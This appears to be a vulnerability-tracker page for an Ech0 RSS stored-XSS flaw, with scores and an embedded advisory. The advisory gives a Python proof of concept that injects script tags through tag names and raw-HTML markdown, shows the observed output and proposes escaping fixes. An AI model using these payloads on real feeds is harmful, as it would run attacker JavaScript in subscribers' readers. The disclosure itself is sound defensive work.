CVE-2026-79663

mediumpriority · track · 19EPSS 0.003 · 17 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.25% (17th) EPSS
CVSS 4.8 · medium
Is it mine?
2 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Ech0 before 4.7.3 contains a stored cross-site scripting vulnerability in the public RSS feed where tag names and markdown content are rendered without HTML escaping. Attackers with admin privileges can inject malicious tag names or raw HTML in echo content that executes as JavaScript in RSS readers that render HTML-type summaries, affecting anonymous subscribers and other users.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.1–4.8

v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nprimary · disclosure@vulncheck.comexploitability 1.7 · impact 2.7
v3.14.8mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:Nsecondary · OSV
v4.04.8mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.01.1lowCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Trackcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-3v85-fqvh-7rxfEch0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers2026-05-07ghsa · osvUS

    ## Summary The public RSS/Atom feed at `/rss` renders two attacker-controlled surfaces without HTML escaping. Tag names flow through `fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name)` at `internal/service/common/common.go:120`, and the Markdown renderer at `internal/util/md/md.go` does not set the `html.SkipHTML` flag, so raw HTML blocks in echo content pass through unmodified. The resulting Atom `<summary type="html">` is valid XML but contains executable `<script>` tags after the RSS reader decodes it. RSS subscribers whose readers render HTML (including many self-hosted and desktop clients) execute attacker JavaScript in the reader's origin. ## Details Tag sink at `internal/service/common/common.go:120`: ```go if len(msg.Tags) > 0 { for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", tag.Name) } } ``` `fmt.Appendf` with `%s` does not HTML-escape. Tag names come from user-supplied `EchoUpsertDto.Tags` and are persisted after `strings.TrimSpace(strings.TrimPrefix(tag.Name, "#"))` at `internal/service/echo/echo.go:326`, which strips a leading `#` and trims whitespace but does nothing about HTML metacharacters. A tag name of `</span><script>document.title='RSS-XSS-HIT'</script><span>x` breaks out of the surrounding `<span>` element and injects executable JavaScript into the RSS `summary` field. Markdown sink at `internal/util/md/md.go`: ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks // html.SkipHTML is NOT set ``` The `gomarkdown` library passes raw HTML through when `SkipHTML` is not set. `MdToHTML([]byte(msg.Content))` at `internal/service/common/common.go:102` produces the rendered HTML for the echo body; tag markup is appended to that output at line 120 and the combined byte slice becomes the RSS `summary` field. The RSS feed declares `<summary type="html">`, which per Atom RFC 4287 §3.1.1.3 means the content is HTML encoded as XML. RSS readers that render HTML decode the XML entities and pass the decoded string to an HTML renderer. Any script tag survives this round-trip. Echo creation requires admin role (`internal/service/echo/echo.go:54-56` checks `user.IsAdmin`). In a single-admin Ech0 instance this is self-attack. In a multi-admin deployment (non-owner admins promoted by the owner), one admin injects XSS into the shared RSS feed consumed by other admins, registered users, and anonymous subscribers. Prior precedent: GHSA-69hx-63pv-f8f4 (2026-04-09) accepted stored XSS via SVG file upload, with the same "admin creates content" precondition. Cross-subscriber RSS XSS from one admin belongs to the same class. ## Proof of Concept Default install, admin account seeds malicious tag + markdown content, anonymous subscriber fetches `/rss` and the decoded summary contains executable `<script>`: ```python import requests, xml.etree.ElementTree as ET, html TARGET = "http://localhost:8300" # Admin creates two echoes: one with a hostile tag name, one with raw-HTML markdown. owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] tag_payload = "</span><script>document.title='RSS-XSS-HIT'</script><span>x" md_payload = "<script>document.title='MD-XSS-HIT'</script>normal text" requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": "echo with malicious tag", "tags": [tag_payload]}) requests.post(f"{TARGET}/api/echos", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"content": md_payload}) # Anyone fetches /rss anonymously. feed = requests.get(f"{TARGET}/rss").text root = ET.fromstring(feed) ns = {"atom": "http://www.w3.org/2005/Atom"} for entry in root.findall("atom:entry", ns): summary = entry.find("atom:summary", ns) decoded = html.unescape(summary.text or "") if "<script>" in decoded.lower(): print(f" *** EXECUTABLE <script> in decoded summary ***") print(f" raw: {(summary.text or '')[:200]!r}") print(f" decoded: {decoded[:200]!r}") ``` Observed on v4.5.6: ``` *** EXECUTABLE <script> in decoded summary *** raw: "<p><script>document.title=&lsquo;MD-XSS-HIT&rsquo;</script>normal text</p>\n" decoded: "<p><script>document.title='MD-XSS-HIT'</script>normal text</p>\n" *** EXECUTABLE <script> in decoded summary *** raw: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' decoded: '<p>echo with malicious tag</p>\n<br /><span class="tag">#</span><script>document.title=\'RSS-XSS-HIT\'</script><span>x</span>' ``` Two separate `<script>` tags land in the public RSS feed: one via the tag-name sink, one via the markdown raw-HTML sink. Any RSS reader that decodes `type="html"` content and renders the HTML (common in self-hosted readers like Tiny Tiny RSS and FreshRSS's default settings, and in several desktop readers) executes the script. ## Impact A non-owner admin with echo-creation rights (or the owner themselves if RSS pushes to subscribers the owner did not hand-pick) injects persistent JavaScript into the public RSS feed. The RSS feed reaches: - **Anonymous subscribers** who follow the blog's RSS URL in their reader. - **Registered non-admin users** who may subscribe to the feed. - **Other admins** on the same instance. Each subscriber whose reader renders `type="html"` content runs the attacker's script in the reader's origin. Depending on the reader, the payload: - Reads the reader's own UI tokens and exfiltrates them. - Makes authenticated requests to other feeds the reader polls (cross-feed data theft). - Plants phishing content that looks like a legitimate feed entry. The class is stored XSS with cross-user reach. Severity compared to GHSA-69hx-63pv-f8f4 (SVG-upload stored XSS, accepted as Medium): reach is similar (anonymous subscribers via a published feed URL), and the admin precondition matches. ## Recommended Fix Two independent fixes, both needed. Tag names: HTML-escape before interpolation. ```go for _, tag := range msg.Tags { renderedContent = fmt.Appendf(renderedContent, "<br /><span class=\"tag\">#%s</span>", html.EscapeString(tag.Name)) } ``` Markdown: add `html.SkipHTML` to the renderer flags so raw HTML in echo markdown is stripped. ```go htmlFlags := html.CommonFlags | html.Safelink | html.HrefTargetBlank | html.NoopenerLinks | html.NoreferrerLinks | html.SkipHTML ``` Validate tag names at creation time too. A central validator in `EchoService.Create` that rejects tags containing `<`, `>`, or `"` removes the attacker payload before it reaches the DB: ```go for _, name := range newEcho.Tags { if strings.ContainsAny(name, "<>\"'&") { return errors.New(commonModel.INVALID_TAG_NAME) } } ``` --- *Found by [aisafe.io](https://aisafe.io)*

  • GO-2026-5100Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers in github.com/lin-snow/ech02026-06-25vendor · osvUS

    Ech0's RSS feed renders unescaped tag names and raw-HTML markdown, stored XSS against subscribers in github.com/lin-snow/ech0

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-25modified 2026-08-31
08

references (2) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan